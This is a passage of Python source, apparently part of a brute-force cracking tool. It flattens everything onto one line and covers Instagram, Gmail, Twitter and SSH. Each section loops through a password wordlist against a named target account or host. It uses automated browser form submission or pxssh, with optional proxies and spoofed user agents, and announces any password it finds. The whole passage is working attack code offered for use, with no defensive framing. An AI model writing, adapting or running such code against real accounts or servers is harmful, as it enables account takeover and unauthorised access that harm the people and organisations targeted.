print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=") time.sleep(1.5) print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n") def insta(password): global useuser2 br.addheaders =[("User-agent", useuser2)] login = '******' br.open(login) try: br.select_form(nr=0) except: serverblock("[ www.instagram.com ]") br['username']=username print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n") br['password']=password br.submit() log = br.geturl() if log !=login: print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password) + "\n") sys.exit(0) else: return br = mechanize.Browser() br.set_handle_robots(False) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) if proxys == True: br.set_proxies({'http':prox}) else: pass rs = 1 try: for i in range(len(passwords)): passwords[i] = passwords[i].strip() passwords[i] = passwords[i].replace('\n','') for password in passwords: insta(password) rs +=1 else: passnotfound(pwd_file) except KeyboardInterrupt: exceptkey() elif check3 == False: msgerrorconnect() #::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ########################################################## END INSTA FUNCTION ######################################################################## ##########################################################(3)GMAIL BRTFOR FUNCTION ################################################################### #::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: elif options.gmailT !=None and options.gmailW !=None: global check4 if check4 == True: email = options.gmailT pwd_file = options.gmailW if email[-9:] !="gmail.com": print(cor[3]+"\n[!]:"+cor[5]+"Please input just gmail email!\n"+cor[2]+"[*]:"+cor[3]+"example:> [email protected]") exit() try: list = open(pwd_file, "r") passwords = list.readlines() except: errorfile(pwd_file) if proxys == True: prostatus = cor[2]+"ON"+cor[5] prox = proxy3 else: prostatus = cor[4]+"OFF"+cor[5] prox = "" banner() time.sleep(1.5) print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5]) print("[#]:Time : [ "+str(timenow)+" ]") print("[*]:Website : [ www.gmail.com ]") print("[+]:Target Email : [ "+str(email)+" ]") print("[+]:Wordlist : [ "+str(pwd_file)+" ]") print("[@]:Proxy status : [ "+prox+ "["+prostatus+"]") print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=") time.sleep(1.5) print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n") def start(password): global useuser3 br.addheaders =[("User-agent", useuser3)] br.open("https://www.gmail.com") try: br.select_form(nr=0) except: serverblock("[ www.gmail.com ]") br['Email']=email br.submit() try: br.select_form(nr=0) except: serverblock("[ www.gmail.com ]") print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n") br['Passwd']=password br.submit() if br.geturl()=='https://mail.google.com/mail/u/0/': print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password) + "\n") sys.exit(0) else: return br = mechanize.Browser() br.set_handle_robots(False) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) if proxys == True: br.set_proxies({'http':prox}) else: pass rs = 1 try: for i in range(len(passwords)): passwords[i] = passwords[i].strip() passwords[i] = passwords[i].replace('\n','') for password in passwords: start(password) rs +=1 else: passnotfound(pwd_file) except KeyboardInterrupt: exceptkey() elif check4 == False: msgerrorconnect() #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ########################################################## END GMAIL FUNCTION ######################################################################### ##########################################################(4)TWITTER BRTFOR FUNCTION ################################################################## #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: elif options.twitterT !=None and options.twitterW !=None: global check5 if check5 == True: email = options.twitterT pwd_file = options.twitterW try: list = open(pwd_file, "r") passwords = list.readlines() except: errorfile(pwd_file) if proxys == True: prostatus = cor[2]+"ON"+cor[5] prox = proxy4 else: prostatus = cor[4]+"OFF"+cor[5] prox = "" banner() time.sleep(1.5) print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5]) print("[#]:Time : [ "+str(timenow)+" ]") print("[*]:Website : [ www.twitter.com ]") print("[+]:Target User : [ "+str(email)+" ]") print("[+]:Wordlist : [ "+str(pwd_file)+" ]") print("[@]:Proxy status : [ "+prox+ "["+prostatus+"]") print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=") time.sleep(1.5) print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n") def start(password): global useuser2 br.addheaders =[("User-agent", useuser4)] br.open('https://m.twitter.com/login/') try: br.select_form(nr=1) except: serverblock("[ www.twitter.com ]") br['session[username_or_email]']= email print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n") br['session[password]'] = password br.submit() log = br.open('https://m.twitter.com/account').read() if email in log: print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password) + "\n") sys.exit(0) else: return br = mechanize.Browser() cookies = cookielib.LWPCookieJar() br.set_cookiejar(cookies) br.set_handle_equiv(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.set_debug_http(False) br.set_debug_responses(False) br.set_debug_redirects(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1) if proxys == True: br.set_proxies({'http':prox}) else: pass rs = 1 try: for i in range(len(passwords)): passwords[i] = passwords[i].strip() passwords[i] = passwords[i].replace('\n','') for password in passwords: start(password) rs +=1 else: passnotfound(pwd_file) except KeyboardInterrupt: exceptkey() elif check5 == False: msgerrorconnect() #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ########################################################## END TWITTER FUNCTION ####################################################################### #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ######################################################## (END)[1] EMAILIS SECTION ##################################################################### #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #################################################### [2] SECTION BRUTFORCE SERVER START ############################################################### #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ##########################################################(1)SSH SERVER FUNCTION ###################################################################### #:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: elif options.sshT !=None and options.sshU !=None and options.sshW !=None: host = options.sshT user = options.sshU passf = options.sshW try: infile = open(passf, "r") except: errorfile(passf) global check6 if check6 == True: def checkport(): try: s = socket.gethostbyname(host) conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((s, 22)) return True except: pass return False if checkport() ==False: print(cor[3]+"[!]Ops:"+cor[5]+"PORT"+cor[4]+" [ 22/SSH ]"+cor[3]+"IS CLOSE In Target Server\n[!]:I can't Continue Sorry :(") exit() def connect(host, user, password): global Found Fails = 0 try: s = pxssh.pxssh() s.login(host, user, password) return s except Exception, e: if Fails > 5: print("\n[!]Too Many Socket Timeouts") elif 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) return connect(host, user, password) elif 'synchronize with original prompt' in str(e): time.sleep(1) return connect(host, user, password) return None try: banner() time.sleep(1.5) print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5]) print("[#]:Time : [ "+str(timenow)+" ]") print("[*]:Server : [ SSH:%s ]"%(host)) print("[+]:Target User : [ "+str(user)+" ]") print("[+]:Wordlist : [ "+str(passf)+" ]") print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=") time.sleep(0.40) print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n") time.sleep(1.3) rs = 1 for line in infile: password = line.strip('\r\n') print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n") rs +=1 con = connect(host, user, password) if con: print(cor[2] + "\n[*]:"+cor[5]+"ServerSSH Crack!\n------------------------------"+cor[1]+"\n[*]:TargetINFO:\n"+cor[5]+"\n[*]:TIME : "+timenow+"\n[+]:TARGET SERVER : "+host+"\n[+]:TARGET USER : "******"\n[+]:Wordlist: "+passf+cor[2]+"\n\n[*]:"+cor[3]+"Target SSH Password ==> "+cor[1]+str(password)+cor[5]+"\n------------------------------") else: passnotfound(passf) except KeyboardInterrupt: exceptkey() elif check6 == False: servererror()